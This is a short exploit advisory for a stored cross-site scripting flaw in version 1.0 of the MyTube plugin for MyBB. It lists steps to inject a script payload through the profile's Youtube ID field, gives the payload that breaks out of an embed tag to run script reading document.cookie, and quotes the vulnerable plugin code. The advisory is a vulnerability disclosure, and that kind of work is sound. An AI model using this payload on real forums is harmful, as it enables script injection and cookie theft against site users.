MyTube MyBB Plugin 1.0 Stored XSS

# Exploit Title: MyTube MyBB Plugin Stored XSS
# Date: 18/12/2012
# Exploit Author: Kim Kun Bum
# Vendor by: 
# Software Link: http://mods.mybb.com/view/mytube
# Version: 1.0
# Category:Web Security
# Tested on: Windows7
Reason : Lack of input validation in Youtube ID field
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Stored XSS-vulnerabilities
0. install&Activate plugin
1. go to Usercp >> Edit Profile >> Youtube:
2. inject following code 
"http://www.youtube.com?v="</embed> <script> alert(document.cookie) </script> 
3. This code will be stored as profile content.
4. Visit your profile and Can see the execution of injected script 
Vulnerable code in mytube.php soucre :
function mytube_activate(){....<embed src="http://www.youtube.com/v/{$tubeid}{$autoplay}" type="application/x-
shockwave-flash" wmode="transparent" width="425" height="344"></embed></object></td></tr>}